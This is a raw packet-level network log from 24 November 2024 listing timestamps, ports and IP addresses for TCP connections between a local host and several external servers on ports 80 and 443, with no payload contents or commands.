Nov 24, 2024 14:24:12.924354076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.925301075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.925350904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.925354004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.925398111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.926352024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.926403999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.926429987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.926477909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.927370071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.927421093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.927424908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.927473068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.928369045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.928412914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.928493023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.928539991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.929430962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.929476023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.929543018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.929589033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.930480003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.930531025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.930808067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.930860043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.931524038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.931572914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.931651115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.931698084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.932554960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.932599068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.932735920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.932784081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.933598042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.933650970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.933717966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.933763027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.934705973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.934756994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.934843063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.934890032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.935720921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.935766935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.935818911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.935859919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.936830044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.936872005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.936918974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.936975002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.937824965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.937875032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.937922001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.938870907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.938920975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.939034939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.939861059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.939910889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.939977884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.940025091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.940992117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.941042900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.941173077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.941220999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.942059040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.942106962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.942219019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.942267895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.943010092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.943062067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.088649035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.088716984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.088848114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.089077950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.089137077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.089175940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.089224100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.090184927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.090234995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.090301991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.090352058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.091202021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.091253042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.091335058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.091382980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.092261076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.092313051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.092380047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.092427015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.093339920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.093395948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.093624115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.093677044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.094953060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.095005035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.095061064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.095109940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.095976114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.096028090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.096110106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.096158028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.096803904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.096853971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.096880913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.096926928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.097693920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.097740889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.097748041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.097795963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.098678112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.098727942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.098735094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.098782063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.099590063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.099641085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.099723101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.099771023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.100614071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.100661993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.100732088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.100778103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.101711988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.101759911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.101816893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.101865053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.102740049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.102788925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.102912903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.102963924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.103780985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.103830099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.103912115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.103961945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.104811907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.104861975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.104928017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.104974985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.105849028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.105905056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.105954885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.106000900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.106905937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.106956959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.107085943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.107134104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.107948065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.107994080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.108074903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.108129978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.108989954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.109040976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.109047890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.109096050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.110038996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.110091925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.110172033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.110219002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.111109972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.111160040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.111224890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.111270905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.112144947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.112195015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.112267017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.112312078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.113291025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.113344908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.113426924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.113475084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.114240885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.114303112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.114356995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.114403963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:13.115253925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:13.115300894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:14.625871897 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:14.625965118 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:14.626082897 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:14.629087925 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:14.629122972 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:15.298212051 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:15.298928976 CET	49774	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:15.419956923 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:15.420030117 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:15.420331955 CET	80	49774	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:15.420428038 CET	49774	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:15.420600891 CET	49774	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:15.541212082 CET	80	49774	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:15.859121084 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:15.859333038 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:15.860958099 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:15.860971928 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:15.861468077 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:15.906692028 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:15.908737898 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:15.908776045 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:15.908919096 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:16.549124956 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:16.549345970 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:16.549504042 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:16.551260948 CET	49770	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:16.551278114 CET	443	49770	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:16.599777937 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:16.599826097 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:16.599925041 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:16.600815058 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:16.600845098 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:16.857402086 CET	80	49774	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:16.857528925 CET	49774	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:16.858737946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:16.859049082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:16.980483055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:16.980526924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:16.980551958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:16.980608940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:16.980763912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:17.100222111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:17.914524078 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:17.914675951 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:17.916285038 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:17.916304111 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:17.916707993 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:17.918422937 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:17.918462992 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:17.918524981 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.359405994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359462976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359491110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359560966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359647989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359647989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359668970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359713078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359721899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359756947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359761000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359795094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359812021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359838963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359846115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359894037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359894991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359931946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.359945059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.359977007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.480895996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.480936050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.481132984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.481133938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.485142946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.485198021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.485218048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.485269070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.560786009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.560878038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.560980082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.561043978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.566188097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.566262007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.566411018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.566483974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.571506977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.571573019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.571624041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.571681976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.579722881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.579792976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.579849958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.579910040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.588444948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.588504076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.588574886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.588633060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.596489906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.596550941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.596637011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.596697092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.604825974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.604891062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.604919910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.604952097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.613248110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.613400936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.613401890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.613451004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.622153044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.622215986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.622246981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.622318983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.629309893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.629367113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.629528999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.629584074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.636637926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.636693001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.636694908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.636746883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.643960953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.644036055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.644063950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.644121885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.656188011 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.656275988 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.656316042 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.656333923 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.656353951 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.656367064 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.656481028 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.664541960 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.664588928 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.664588928 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.664601088 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.664645910 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.672925949 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.680511951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.680568933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.681303024 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.681498051 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.681520939 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.734818935 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.761821985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.762025118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.762130022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.762191057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.764193058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.764267921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.764293909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.764348984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.769041061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.769105911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.769165039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.769221067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.773868084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.773921013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.774007082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.774056911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.775978088 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.778649092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.778707027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.778794050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.778847933 CET	49778	80	192.168.2.4	31.41.244.11
